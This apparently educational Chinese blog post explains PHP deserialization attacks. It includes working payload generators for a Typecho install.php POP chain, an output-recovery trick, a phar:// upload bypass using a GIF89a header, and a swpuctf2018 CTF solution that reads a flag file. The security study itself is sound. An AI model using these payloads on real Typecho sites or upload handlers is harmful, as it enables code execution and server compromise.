    我们发现在前面一部的可控参数,其中的值被传递给了另一个类,于是从这个类中查看,看有无敏感操作能够利用的,这里原语句是创建了一个新的Typecho_Db类型的对象,根据上面的基本知识我们知道.php在创建对象时会自动调用__construct方法,因此我们主要查看该构造方法,全局搜索Typecho_Db类,构造方法如下:

    注意图中所示的参数$adapterName我们可以发现这个参数的形成是由字符串和我们传入的$adapterName,而传入的$adapterName源自可控参数$config,如果我们传入的$adapterName为一个类的化,由于这里的操作时字符串拼接,因此可以顺利利用$adapterName所代表类的__toString魔术方法,由于需要找到一个合适的含__toString魔术方法的类,因此这里进行全局搜索,找到了三个类:
    分别查看这些类的__toString方法能否利用了

    Config.php

    config类中的__toString方法不能用,因为这里进行了一次序列化,这就中断了反序列化的POP链,没法再次调用了,因此这个类不能够利用.

    Quert.php

    quert.php中的__toString方法同样不能使用,这里我们通过方法体看出,我们可控的属性也只有$_sqlPreBuild,而这个值在执行数据库操作时进行了字符串的拼接,如果这个$_sqlPreBuild也是类的话,又会触发__toString魔术方法,POP链又回到了调用__toString魔术方法的这一步,等同于无用功,因此这个类也被排除掉.

    Feed.php

    这个时候就到了最后一个类了,这个类是可以利用的,我截取了下面关键的代码部分,这个方法太长了↓↓↓

    我们截取了最关键的部分,由于我们可以控制该类,因此该类的属性可控,注意到上图勾出的语句,这里写的是$item['author']->screenName,如果我们$item['author']->screenName传入的是一个类的话,并且该类的$screenName不存在,那么就会调用该类的__get()魔术方法(不记得了复习一下上面的基础),这个时候我们再找找存在__get()方法的类:

    经过查看我们发现Request类可以完成POP链的闭合部分,该类的__get方法如下:

    进一步追踪其调用的get()方法:

    我们发现这里会永远进行一个switch判断,判断是否存在$_params[$key],如果存在就将这个值取出赋值给$value,若不存在则给$value赋予一个默认值,然后就会将$value的值传递给_applyFilter方法,我再次追踪这个方法,代码如下:

    这里出现了一个"臭名昭著"的函数call_user_func()array_map()这两个函数功能差不多,都是创建回调函数,而当我们能控制Request类时,$filter$value均可空,也就能够实现执行系统命令等其他操作了.这里解释一下为什么$value可控,因为我们调用Request的语句为$item['author']->screenName,因此这里实际上调用__get()魔术方法的语句为__get("screenName"),而我们通过控制类的$_params,是可以控制get()方法中的$value,因此$value值可控;了解了这个漏洞成因之后就是编写POC的工作了

    PS:反序列化的条件

    前面过程太流畅了忘了说了,在第一步反序列化处,我们可以注意到渲染的是<?php else: ?>,也就是说进入反序列化的这一步是有条件的,因此我们倒回去看看运行到这里的条件是什么,代码如下:

    我们注意到如果我们没有传入finish参数php程序会直接结束,并且还会校验referer头,不存在也会直接退出,因此传入payload时需要加上这两个参数.

    POC的编写

    进行POC编写之前,我们再将思路理清楚一点,我将过程总结为下面的流程图:

st=>start: 控制反序列化类Typecho_Cookie::get("__typecho_config")从而控制$config
e=>end: 代码执行
op1=>operation: $config值传入了Typecho_Db类用于建立对象
op2=>operation: 调用Typecho_Db的__construct方法,将$config['adapterName']值用于字符拼接
c1=>condition: $config['adapterName']是否为类
s1=>subroutine: 构造Feed类,控制$item属性
op3=>operation: 调用__toString()方法
c2=>condition: $item['author']是否为类 && 该类是否不含有screenName属性
s2=>subroutine: 构造Requset类,控制$filter属性和$_params属性
op4=>operation: 调用__get()方法
op5=>operation: 调用get()方法,通过$_params值生成$value
op6=>operation: $filter和$value值传入_applyFilter()方法
op7=>operation: 调用call_user_func或者array_map方法执行代码

st->op1->op2->s1->c1(yes)->op3->s2->c2(yes)->op4
op4->op5->op6->op7

payload代码如下:

<?php
class Typecho_Feed{
    const RSS2='RSS 2.0';
    private $_type; //调用__toString首先会判断RSS2是否等于$_type
    private $_item=array();
    function __construct()
    {
        $this->_type=self::RSS2; //达成进入_toString方法的条件
        $item["author"]=new Typecho_Request(); //这里就是$item['author']->screenName的地方
        $this->_items[0]=$item; //$item在原函数体中是$_item进行迭代之后的结果
    }
}
class Typecho_Request{
    private $_params=array();
    private $_filter=array();

    function __construct()
    {
        $this->_filter[0]="phpinfo"; //执行的函数名
        $this->_params['screenName']=array(1);
        /*这里是字符还是数组都可以,主要看想
         * 调用call_user_func函数还是array_map()差别不大
         */
    }
}

$test=new Typecho_Feed();
$payload=array(
    "adapter"=>$test,
    "prefix"=>'typecho_' //Typecho_DB($config['adapter'],$config['prefix'])这里就是在构造这两个参数
);
$final=urlencode(base64_encode(serialize($payload)));//根据原反序列化顺序反推回去,记得一定要url编码
echo $final;//打印出payload传递给install.php

然后就是利用了,可是并没有出现回显,这是怎么回事?

经过查阅得知,typecho自定义了报错函数的,而这个函数之前启用了ob_start(),即将输出放在了缓冲区,而当捕获到异常之后就会调用这个类的异常处理方法,将缓冲区的输出清空(@ob_end_clean()),从而导致注入的phpinfo()没有回显,如下图:


不清楚的话手册给出了例程:

在这种情况下是不会有输出,因此我们需要绕过这一步,使其有回显,由于这个函数只是会捕捉异常,而php中的异常是分了很多类别的,如下图:

大致可以理解成,当Php发生致命异常时,php脚本就会停止运行,因此为了不让php执行至ob_end_clean(),我们需要在这之后引发一个致命错误,终止脚本清空缓冲区的输出,让内容回显出来,我们在__toString的地方向后看,邻接的一步如下图:

在我们触发__get魔术方法的下面,还用了一次$item['category'],我们可以利用这条语句来触发一个致命异常,注意当php类中没有定义__toString方法,而这个类却被当作字符串使用时,这个异常就是致命异常,因此修改payload如下:

<?php
class Typecho_Feed{
    const RSS2='RSS 2.0';
    private $_type; //调用__toString首先会判断RSS2是否等于$_type
    private $_items=array();
    function __construct()
    {
        $this->_type=self::RSS2; //达成进入_toString方法的条件
        $this->_items[0]=array(
            'author'=> new Typecho_Request(),
            'category'=>array(new Typecho_Request()),
        ); //$_item['author']用于触发__get方法,$_item['category']用于触发致命异常,终止脚本运行;
    }
}
class Typecho_Request{
    private $_params=array();
    private $_filter=array();

    function __construct()
    {
        $this->_filter[0]="phpinfo"; //执行的函数名
        $this->_params['screenName']=1;
        /*这里是字符还是数组都可以,主要看想
         * 调用call_user_func函数还是array_map()差别不大,也要注意函数的用法
         */
    }
}

$test=new Typecho_Feed();
$payload=array(
    "adapter"=>$test,
    "prefix"=>'typecho_' //Typecho_DB($config['adapter'],$config['prefix'])这里就是在构造这两个参数
);
$final=urlencode(base64_encode(serialize($payload)));//根据原反序列化顺序反推回去,记得一定要url编码
echo $final;//打印出payload传递给install.php

成功回显了,如下图:

这个漏洞的利用链构造非常巧妙,回显的姿势也是满满干货,下面再附一篇实例,扩展一下php反序列化的攻击面;

phar扩展

起源

这个攻击手法是起源于2018年的blackhat其中一个议题,讲的就是能够不通过unserilize()方法进行反序列化攻击,那么我们就来看看为什么使用phar://伪协议能够在不使用unserilize()就可以出发反序列化吧。

首先说明一下PHP官方手册是提了这件事的

phar类型的文件中的manifest部分,实际上有关phar文件的很多信息都被存放在这里,而这个部分中我们可以看见(meta-data也就是元数据流)是以序列化的形式存在的,而这个数据流在创建phar文件时,对于创建者来说这个部分是可控的,既然有序列化也就必有反序列化,那么我们从源码层面看看,源码在下面:

这是php的源码,是用于解析phar文件mate-data部分的源码,我们可以看见在第612行这里使用了反序列化的函数,也就是说在php代码没有使用反序列化函数时,我们通过解析phar文件也能够执行反序列的操作,而仅仅只是将反序列的地点变了一下而已。

有关phar文件的结构

必须的-a-stub

a stub是什么?不急我们先来看看官方手册是如何解释这个部分的,

总之我们知道stub就是简单的一串php代码即可,也就是<?php __HALT_COMPILER(); ?>

后面也说明了stub中的php标签是需要闭合的,在最后的说明中提到了,如果没有stub,则phar进行归档的时候会产错误,因此这个部分必须被添加在phar中。

PS:

这里stub头可以恶意的利用一下,php只会通过stub头识别文件是否为phar文件,和phar本身的后缀无关,因此我们可以选择"文件头"拼接"stub",来绕过很多文件上传的校验。

必须的部分-add点什么

phar文件实质上非常类似于压缩包,既然是压缩包那么我们需要压缩一点什么进去,因此需要使用phar类中自带的add系方法添加点东西到归档里面,也就是下面的几个方法,总之添加一点什么....

phar文件实例

test.php代码(生成phar文件):

<?php
class hello{
    public $string="unserlize!!!";
    public function __destruct(){
        echo $string;
    }
}
//随便造一个类,添加进meta-data里面
$test=new Phar("test.phar");
//新建一个phar类(文件),取名为phar,这里必须以phar结尾
$test->startBuffering();
//开启一个缓存流,用于写文件
$test->setStub("<?php __HALT_COMPILER(); ?>");
//将stub添加进去,避免解压归档不正确
$string=new hello();
$test->setMetadata($string);
//将hello类添加进meta-data中,一会儿反序列化的时候好观察
$test->addFromString("test.txt","hello");
//添加一些需要压缩的文件进行,这里是写个test.txt内容为hello
$test->stopBuffering();
//做完写入操作关闭缓存流

接着我们再来读取一下我们刚刚生成的phar文件,我们看到我们传过去的类确实是被序列化了,这里有心的读者可以注意到stub头是直接在文件头部的,而stub头并不在乎前面写了多少内容,这也就是为什么可以通过拼接文件头来伪造文件类型了.

接着我们读一下test.phar

<?php
include "test.php";
$file="phar://./test.phar/test.txt";
file_get_contents($file);

然后我们可以看到确实被反序列化了,这里出发了__destruct方法,因此打印除了我们之前设定好的字符。

这时候我们加个文件头看看

<?php
class hello{
    public $string="unserlize!!!";
    public function __destruct(){
        echo $this->string;
    }
}
$test=new Phar("test.phar");
$test->startBuffering();
$test->setStub('GIF89a'."<?php __HALT_COMPILER(); ?>");
$string=new hello();
$test->setMetadata($string);
$test->addFromString("test.txt","hello");
$test->stopBuffering();

结果linux判断这是一个gif格式的文件了

PS:由于有关文件的操作,比如file_exit,file_get_contents,file_put_contents系列的函数都支持伪协议,这让phar反序列化的攻击面非常大

实例一:swpuctf2018-simplephp

题目信息:

题目是本地复现的所以用了一些取巧的办法(取服务器地址),所以大佬们不要太在意,再说本文章也是一篇笔记................

PS:2019极客巅峰靶场2原题就是这道.....

首先进去查看网站功能发现了查看文件的地方一个非常明显的文件任意读取:

这个时候我们把文件全都读出来,比如function.phpclass.php这两个稍微敏感一点的php文件(PS:f1ag字样是被过滤掉的无法直接通过此处读取)

function.php源码:

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

这里定义好了上传文件的方法以及能够通过校验的白名单,这里只能上传图片。接着再读class.php,源码如下:

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

这里总共三个类,接着再看上传文件的地方,这里只是调用了一个上传文件的函数(html代码省略掉了只留下php)

而给了我们三个类很显然是要使用反序列化进行读取的,然而网站功能的源码并没有地方使用了反序列化函数,因此这里不是常规的反序列化漏洞。

解法

还记得我们前面说的不使用unserilize()函数达到反序列化的目的,这题还给了我们一个上传文件的功能,同时我们已经说了phar://伪协议只是读取stub的内容来判断是不是phar文件,而和文件后缀无关,因此这里很显然需要构建一个恶意phar文件,然后进行读取,从而绕过直接读取的校验得到flag。

先来构造POP链,根据源码(这里我删去了所有用不到,拿来混淆视听的方法以及构造方法,这样看起来POP构造思路更加清晰):

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    
}
class Test
{
    public $file;
    public $params;
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

先看第一个类C1e4r类(类中能直接触发的只有析构方法和__wakeup),这个类很简单构造方法无视即可,主要是析构方法(__destruct),这里使用了echo,也就是进行了字符串的操作,首先将属性str赋值给了属性test,然后echo $this->test,如果我们这里的test是一个类的话,那么能够触发该类的__toString方法,这里只有第二个Show类含有__toString魔术方法,__toString方法进行一个赋值的操作,而Show类中是没有content属性,所以这是会调用__set魔术方法,创建$content并赋值为$this->str['str']->source这里试图访问str数组中的str键对应的内容,假若str['str']是一个类的话,且该类没有source属性的话,则会访问该类的__get魔术方法,那么就来到最后一个类Test类了,这个类里面恰好有__get方法,随后调用get()函数,给$value赋值为params[$key],最后将value传给了file_get()方法进行读取flag文件的操作,下面是思路的图示:

st=>start: 通过上传恶意Phar文件,然后读取触发反序列化
e=>end: 读取flag
op1=>operation: 控制C1e4r的str属性使其为Show类
op2=>operation: 利用echo触发__toString
op3=>operation: 控制Show类中的str['str']使其为Test类
op4=>operation: 利用str['str']访问source属性触发__get
op5=>operation: 控制Test类的paramsp['source']赋值给value
op6=>operation: 调用file_get()方法

st->op1->op2->op3->op4->op5->op6->e

最终的Payload为:

<?php
class C1e4r
{
    public $test;
    public $str;
/*    public function __construct($name)
    {
        $this->str = $name;
    }*/
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source="index.php";
    public $str;
    /*public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    } */
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }

    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
$E_test=new Test();
$E_test->params['source']="/var/www/html/f1ag.php";
$E_show=new Show();
$E_show->str['str']=$E_test;
$E_clear=new C1e4r();
$E_clear->str=$E_show;
$str_payload=serialize($E_clear);
echo $str_payload;
/*
 * O:5:"C1e4r":2:{s:4:"test";N;s:3:"str";\
 * O:4:"Show":2:{s:6:"source";s:9:"index.php";s:3:"str";a:1:{s:3:"str";
 * O:4:"Test":2:{s:4:"file";N;s:6:"params";a:1:
 * {s:6:"source";s:22:"/var/www/html/f1ag.php";}}}}}
*/
$payload=unserialize($str_payload);
$final=new Phar("test.phar");
$final->startBuffering();
$final->addFromString("tmp.php","test");
$final->setStub("<?php __HALT_COMPILER(); ?>");
$final->setMetadata($payload);
$final->stopBuffering();
rename("test.phar","payload.jpg");
echo "\n";
echo md5("payload.jpg".$服务器IP).".jpg";

然后将生成的payload.jpg上传,再利用$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 文件名是自己知道的,服务器的ip也是知道的(虽然我是在源码里面加了echo $filename=md5(那坨),所以在payload最后你可以看到直接就写了文件名和ip地址)

最后那一步生成的文件名为:54e33682d9ffda2b4abc492399031a83.jpg

然后利用file读取文件处,传入phar伪协议去读取我们的payload.jpg,

最后base64解码就可以得到flag了

flag(本地所以flag是自己写的)为ebounce{g0od1_you_leaRned_ph4r1}

参考文章:

一篇文章带你深入理解漏洞之 PHP 反序列化漏洞

利用phar拓展反序列化漏洞

评论区(暂无评论)

这里空空如也,快来评论吧~

我要评论